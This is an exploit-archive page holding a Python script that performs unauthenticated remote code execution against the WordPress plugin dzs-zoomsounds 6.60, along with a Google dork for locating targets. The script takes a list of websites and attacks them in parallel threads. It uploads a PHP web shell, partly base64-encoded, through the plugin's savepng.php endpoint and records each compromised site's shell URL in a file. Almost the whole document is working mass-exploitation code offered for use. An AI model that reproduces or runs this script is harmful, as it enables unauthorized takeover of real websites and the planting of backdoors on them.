<pre><code># Exploit Title: WordPress Plugin dzs-zoomsounds - Remote Code Execution (RCE) (Unauthenticated)<br /># Google Dork: inurl:wp-content/plugins/dzs-zoomsounds<br /># Date: 16/02/2022<br /># Exploit Author: Overthinker1877 (1877 Team)<br /># Vendor Homepage: https://digitalzoomstudio.net/docs/wpzoomsounds/<br /># Version: 6.60<br /># Tested on: Windows / Linux<br /><br />import os<br />import requests<br />import threading<br />from multiprocessing.dummy import Pool,Lock<br />from bs4 import BeautifulSoup<br />import time<br />import smtplib,sys,ctypes<br />from random import choice<br />from colorama import Fore<br />from colorama import Style<br />from colorama import init<br />import re<br />import time<br />from time import sleep<br />init(autoreset=True)<br />fr = Fore.RED<br />gr = Fore.BLUE<br />fc = Fore.CYAN<br />fw = Fore.WHITE<br />fy = Fore.YELLOW<br />fg = Fore.GREEN<br />sd = Style.DIM<br />sn = Style.NORMAL<br />sb = Style.BRIGHT<br />Bad = 0<br />Good = 0<br />def Folder(directory):<br /> if not os.path.exists(directory):<br /> os.makedirs(directory)<br />Folder("exploited")<br />def clear():<br /> try:<br /> if os.name == 'nt':<br /> os.system('cls')<br /> else:<br /> os.system('clear')<br /> except:<br /> pass<br />def finder(i) :<br /> global Bad,Good<br /> head = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36'}<br /> try :<br /> x = requests.session()<br /> listaa = ['/wp-content/plugins/dzs-zoomsounds/savepng.php?location=1877.php']<br /> for script in listaa :<br /> url = (i+"/"+script)<br /> while True :<br /> req_first = x.get(url, headers=head)<br /> if "error:http raw post data does not exist" in req_first.text :<br /> burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close"}<br /> burp0_data = "<?php\r\nerror_reporting(0);\r\necho(base64_decode(\"T3ZlcnRoaW5rZXIxODc3Ijxmb3JtIG1ldGhvZD0nUE9TVCcgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+PGlucHV0IHR5cGU9J2ZpbGUnbmFtZT0nZicgLz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0ndXAnIC8+PC9mb3JtPiI=\"));\r\n@copy($_FILES['f']['tmp_name'],$_FILES['f']['name']);\r\necho(\"<a href=\".$_FILES['f']['name'].\">\".$_FILES['f']['name'].\"</a>\");\r\n?>"<br /> requests.post(url, headers=burp0_headers, data=burp0_data,timeout=45)<br /> urlx = (i+"/"+"/wp-content/plugins/dzs-zoomsounds/1877.php")<br /> req_second = x.get(urlx, headers=head)<br /> if "Overthinker1877" in req_second.text :<br /> Good = Good + 1<br /> print(fg+"Exploited "+fw+">> "+fg+" = "+urlx)<br /> with open("exploited/shell.txt","a") as file :<br /> file.write(urlx+"\n")<br /> file.close()<br /> else :<br /> Bad = Bad + 1<br /> print(fc+""+fw+"["+fr+"X"+fw+"] "+fr+" "+i+" "+fw+" <<< "+fr+" Can't Exploit")<br /> else :<br /> Bad = Bad + 1<br /> print(fc+""+fw+"["+fr+"X"+fw+"] "+fr+" "+i+" "+fw+" <<< "+fr+" Not Vuln")<br /><br /> pass<br /> break<br /> except :<br /> pass<br /> if os.name == 'nt':<br /> ctypes.windll.kernel32.SetConsoleTitleW('1877Exploit | Exploited-{} | Not Vuln-{}'.format(Good, Bad))<br /> else :<br /> sys.stdout.write('\x1b]2; 1877Exploit | Exploited-{} | Not Vuln-{}\x07'.format(Good,Bad))<br /><br />def key_logo():<br /> clear = '\x1b[0m'<br /> colors = [36, 32, 34, 35, 31, 37]<br /> x = ' [ + ] OVERTHINKER1877 EXPLOIT'<br /> for N, line in enumerate(x.split('\n')):<br /> sys.stdout.write('\x1b[1;%dm%s%s\n' % (choice(colors), line, clear))<br /> time.sleep(0.05)<br /><br />def process(line):<br /> time.sleep(1)<br /><br /><br />def run() :<br /> key_logo()<br /> clear()<br /> print(""" <br /> [-] -----------------------------------------[-]<br /> [+] WwW.1877.TeaM<br /> [-] -----------------------------------------[-]<br /> \n \n""")<br /> file_name = input("Website List : ")<br /> op = open(file_name,'r').read().splitlines()<br /> TEXTList = [list.strip() for list in op]<br /> p = Pool(int(input('Thread : ')))<br /> p.map(finder, TEXTList)<br /><br />run()<br /> <br /><br /></code></pre>
Archives
Categories
- All Exploits 4291
- Remote Code Execution
- SQL Injection
- Command Injection
- Local File Inclusion
- Cross Site Scripting
- Privilege Escalation
- Denial Of Service
- Authentication Bypass
- Buffer Overflow